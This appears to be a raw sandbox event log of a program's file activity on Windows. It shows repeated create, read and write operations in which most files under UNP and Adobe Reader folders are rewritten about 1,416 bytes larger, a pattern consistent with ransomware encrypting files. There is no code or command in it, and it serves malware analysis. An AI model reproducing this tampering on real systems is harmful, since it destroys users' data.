File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\cs-CZ\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\cs-CZ\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\cs-CZ\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ID\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ID\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ID\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ID\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ID\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CO\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CO\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CO\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CO\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CO\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CH\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CH\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CH\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CH\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-CH\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ja-JP\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ja-JP\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ja-JP\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ja-JP\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ja-JP\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-NL\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-NL\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-NL\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-NL\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nl-NL\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\PrivacyContentWrapper.min.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\PrivacyContentWrapper.min.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\PrivacyContentWrapper.min.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\PrivacyContentWrapper.min.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\PrivacyContentWrapper.min.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sl-SI\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sl-SI\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sl-SI\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sl-SI\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sl-SI\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\convertible-suicide-construction.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\UNP\convertible-suicide-construction.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.021.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.021.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.021.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.021.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.021.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Windows Mail\WinMail.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Mail\WinMail.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Certificates_R.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Certificates_R.aapp, size = 689, size_out = 689	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Certificates_R.aapp, size = 2105	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\EPDF_Full.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\EPDF_Full.aapp, size = 389, size_out = 389	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\EPDF_Full.aapp, size = 1805	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Scan_R_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Scan_R_RHP.aapp, size = 457, size_out = 457	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Scan_R_RHP.aapp, size = 1873	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\QRCode.pmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\QRCode.pmp, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\QRCode.pmp, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\QRCode.pmp, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\QRCode.pmp, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\MakeAccessible.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\MakeAccessible.api, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\MakeAccessible.api, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\MakeAccessible.api, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\MakeAccessible.api, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\MakeAccessible.api, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\ReadOutLoud.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\ReadOutLoud.api, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\ReadOutLoud.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\ReadOutLoud.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\ReadOutLoud.api, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\3difr.x3d, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\3difr.x3d, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\3difr.x3d, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\3difr.x3d, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\3difr.x3d, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\bl.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\bl.gif, size = 83, size_out = 83	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\bl.gif, size = 1499	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_super.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_super.gif, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_super.gif, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_browser.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_browser.gif, size = 1151, size_out = 1151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_browser.gif, size = 2567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\tl.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\tl.gif, size = 85, size_out = 85	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\tl.gif, size = 1501	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\base_uris.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\base_uris.js, size = 3933, size_out = 3933	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\base_uris.js, size = 5349	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main.css, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main.css, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main.css, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-57x57-precomposed.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-57x57-precomposed.png, size = 2759, size_out = 2759	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-57x57-precomposed.png, size = 4175	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\cloud_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\cloud_icon.png, size = 655, size_out = 655	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\cloud_icon.png, size = 2071	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_hiContrast_wob.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_hiContrast_wob.png, size = 7698, size_out = 7698	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_hiContrast_wob.png, size = 9114	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\large_trefoil_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\large_trefoil_2x.png, size = 4334, size_out = 4334	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\large_trefoil_2x.png, size = 5750	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions2x.png, size = 3595, size_out = 3595	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions2x.png, size = 5011	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-57x57-precomposed.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-57x57-precomposed.png, size = 2759, size_out = 2759	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-57x57-precomposed.png, size = 4175	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ind_prog.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ind_prog.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ind_prog.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ind_prog.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\RHP_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\RHP_icons.png, size = 1009, size_out = 1009	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\RHP_icons.png, size = 2425	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-left.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-left.png, size = 297, size_out = 297	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-left.png, size = 1713	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-right-pressed.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-right-pressed.gif, size = 56, size_out = 56	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-right-pressed.gif, size = 1472	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-up-pressed.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-up-pressed.gif, size = 57, size_out = 57	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-up-pressed.gif, size = 1473	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\eu-es\ui-strings.js, size = 3768, size_out = 3768	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\eu-es\ui-strings.js, size = 5184	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nl-nl\ui-strings.js, size = 3618, size_out = 3618	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nl-nl\ui-strings.js, size = 5034	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ui-strings.js, size = 1216, size_out = 1216	1	Fn Data
